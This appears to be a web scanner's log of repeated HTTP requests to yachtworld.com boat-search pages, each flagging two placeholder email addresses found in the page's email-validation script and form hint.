GET /boats/category/type/builder/model/United+States/New+Jersey/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:06 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/New+York/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:06:51 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/North+Carolina/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:06 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:13 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Ohio/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:07 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:14 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Rhode+Island/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:09 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:16 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/South+Carolina/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 